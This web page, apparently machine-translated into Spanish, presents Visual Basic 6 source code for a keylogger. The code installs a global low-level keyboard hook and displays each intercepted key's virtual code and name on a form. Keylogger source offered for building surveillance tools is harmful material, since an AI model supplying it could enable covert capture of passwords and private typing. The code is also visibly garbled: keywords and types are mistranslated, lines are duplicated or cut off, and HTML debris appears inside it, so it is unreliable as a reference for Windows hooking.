Red de conocimiento informático - Material del sitio web - Cómo diseñar un keylogger usando VB

Cómo diseñar un keylogger usando VB

Usando ganchos

El código fuente se puede encontrar en línea, esto es lo que encontré.

'En el formulario

Private Sub Form_Load()

hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf CallKeyHookProc, App.hInstance, 0)

End Sub

Sub privado Form_Unload(Cancelar como entero)

DesengancharWindowsHookEx hHook

End Sub

'En el módulo

Opción explícita

Función de declaración pública SetWindowsHookEx Lib "user32" Alias ​​​​"SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, Función de declaración pública ByVal UnhookWindowsHookEx Lib "user32" (ByVal hHook Mientras) Mientras

Función de declaración pública UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) Mientras

Función de declaración pública CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode Mientras, ByVal wParam Mientras, lParam Como Cualquiera) Mientras

Public Declare Sub CopyMemory Lib "kernel32" Alias ​​​​"RtlMoveMemory" (lpvDest Como Cualquiera, ByVal lpvSource Mientras, ByVal cbCopy Mientras )

Función de declaración pública GetKeyNameText Lib "user32" Alias ​​​​"GetKeyNameTextA" (ByVal lParam As Long, ByVal lpBuffer As String, ByVal nSize As Long) As Long

Const pública WH_KEYBOARD = 2

Const pública WH_KEYBOARD_LL = 13

Const pública HC_ACTION = 0

Const pública HC_SYSMODALOFF = 5

Const pública HC_SYSMODALON = 4

Const pública WM_KEYDOWN = & H100

Const pública WM_KEYUP = &H101

Const pública WM_CHAR = & H102

Const pública WM_SYSKEYDOWN = &H104

Const pública WM_SYSKEYUP = &H105

Const pública WM_SYSCHAR = &H106

Constante pública WM_SYSCOMMAND = &a

mp;H112

Tipo público KEYMSGS

vKey As Long 'Código virtual (&HFF)

sKey As Long 'Código de escaneo

bandera As Long 'Tecla presionada: 128 Levantado: 0

tiempo As Long 'Tiempo de ejecución de la ventana

Tipo de fin

Mensaje de clave pública Como KEYMSGS 'Mensaje de teclado

Public hHook As Long 'El identificador del gancho creado

Función pública CallKeyHookProc(ByVal idHook As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

Dim lKey As Long

Dim strKeyName As String * 255

Dim strLen As Long

Si idHook = HC_ACTION Entonces

CopyMemory keyMsg, lParam, LenB(keyMsg)

Seleccionar caso wParam

Caso WM_SYSKEYDOWN, WM_SYSKEYUP, WM_KEYDOWN, WM_KEYUP 'Determinar si es un mensaje de teclado

lKey = keyMsg.sKey Y &HFF 'Escanear código

lKey = lKey * 65536 'Desplaza el código a la izquierda 16 bits, para que el bit sea 0. Desplaza el código de escaneo a la izquierda 16 bits, para que los bits 0 a 15 se establecen Es 0

Si keyMsg.flag = 0 o keyMsg.flag = 32 o keyMsg.flag = 128 o keyMsg.sKey = 54 Entonces

Si keyMsg.flag = 0 o keyMsg. sKey = 54sKey = 54 Entonces

strLen = GetKeyNameText(lKey, strKeyName, 250) 'Escanear código

lKey = lKey * 65536 strKeyName, 250) 'Obtener el nombre de esta tecla

p>

Else

strLen = GetKeyNameText((lKey Or & H1000000), strKeyName, 250) 'El bit 24 es el bit extendido en el teclado mejorado

Fin si

Form1.p>

Form1.Text1.Text = keyMsg.vKey

Form1.Text2.Text = Left(strKeyName, strLen)

End Select

End If

CallKeyHookProc = CallNextHookEx(hHook, idHook, wParam, lParam) 'Llamar al siguiente gancho

Función final